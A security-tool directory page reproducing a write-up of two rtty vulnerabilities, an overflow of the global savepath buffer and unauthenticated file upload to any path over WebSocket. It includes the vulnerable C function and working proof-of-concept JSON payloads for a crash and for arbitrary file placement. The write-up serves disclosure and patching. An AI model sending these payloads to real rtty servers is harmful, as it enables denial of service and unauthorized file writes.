Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
rtty_CVE-2025-56708-CVE-2025-56709 — CVE-2025-56708&CVE-2025-56709漏洞详解 | Kitploit
Tools/GitHubGitHub/xkaneiki/rtty_cve-2025-56708-cve-2025-56709
Vulnerability AnalysisExploitationWeb Application ExploitationMisconfigurationBinary Exploitation
GitHubxkaneiki/rtty_cve-2025-56708-cve-2025-56709

rtty_CVE-2025-56708-CVE-2025-56709

CVE-2025-56708&CVE-2025-56709漏洞详解

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
310 months agoNot yet reviewed

CVE-2025-56708&CVE-2025-56709

【CVE-2025-56709】savepath Buffer Overflow

Vulnerability Overview

In rtty <=v9.0.0, the fileinfo method has an overflow vulnerability, which causes data to be continuously written to the global variable savepath, triggering a buffer overflow.

Vulnerability Analysis

savepath can be continuously written to, leading to overflow

  • 【1】It can be seen that name actually uses the memory space of savepath
  • 【2】If the mount check fails, it enters the check_space_fail flow
  • 【3】This flow leads to failure, but buffer_pull will keep adding data to name, i.e., the savepath space
root@kitploit:~
static void start_download_file(struct file_context *ctx, struct buffer *info, int len)
{
    char *name = savepath + strlen(savepath);【1】
    struct mntent *ment;
    struct statvfs sfs;
    char buf[512];
    int fd;

    ctx->total_size = ctx->remain_size = buffer_pull_u32be(info);

    ment = find_mount_point(savepath);
    if (ment) {
        uint64_t avail;

        if (!strcmp(ment->mnt_type, "ramfs")) {
            struct sysinfo si;

            if (sysinfo(&si)) {
                log_err("download file fail: '%s'\n", strerror(errno));
                goto check_space_fail;
            }

            avail = si.freeram;
        } else if (!statvfs(ment->mnt_dir, &sfs)) {
            avail = sfs.f_bavail * sfs.f_frsize;
        } else {
            log_err("download file fail: '%s'\n", strerror(errno));
            goto check_space_fail;
        }

        if (ctx->total_size > avail) {
            log_err("download file fail: no enough space\n");
            goto check_space_fail;
        }
    } else {
        log_err("download file fail: not found mount point of '%s'\n", savepath);
        goto check_space_fail;【2】
    }

    buffer_pull(info, name, len - 4);

    if (!access(savepath, F_OK)) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
        log_err("the file '%s' already exists\n", name);
        goto open_fail;
    }

    fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
    if (fd < 0) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
        log_err("create file '%s' fail: %s\n", name, strerror(errno));
        goto open_fail;
    }

    log_info("download file: %s, size: %u\n", savepath, ctx->total_size);

    if (fchown(fd, ctx->uid, ctx->gid) < 0)
        log_err("fchown %s fail: %s\n", savepath, strerror(errno));

    if (ctx->total_size == 0)
        close(fd);
    else
        ctx->fd = fd;

    memcpy(buf, &ctx->total_size, 4);
    strcpy(buf + 4, name);

    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));

    return;

check_space_fail:
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
    buffer_pull(info, name, len - 4);【3】
    
open_fail:
    file_context_reset(ctx);
}

Vulnerability PoC

  • By continuously sending data via WebSocket, the service can be crashed (and even possibly RCE).
root@kitploit:~
{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}

Vulnerability Fix

https://github.com/zhaojh329/rtty/issues/139

【CVE-2025-56708】Unauthorized File Upload

Vulnerability Overview

rtty <=v9.0.0 has a directory traversal vulnerability. In the interactive protocol, the fileinfo method has a logic vulnerability. An attacker can hijack WebSocket and call the fileinfo method to upload files to any path in the system without user login.

Vulnerability PoC

  • Hijack the WebSocket program flow, and through the fileInfo method, files can be uploaded to any directory on the system without logging in.
  • Specify mount directory
root@kitploit:~
{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}
  • Specify file
root@kitploit:~
{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}
  • Generate file on the server Schematic diagram of vulnerability

Vulnerability Fix

https://github.com/zhaojh329/rtty/issues/140

Download Tool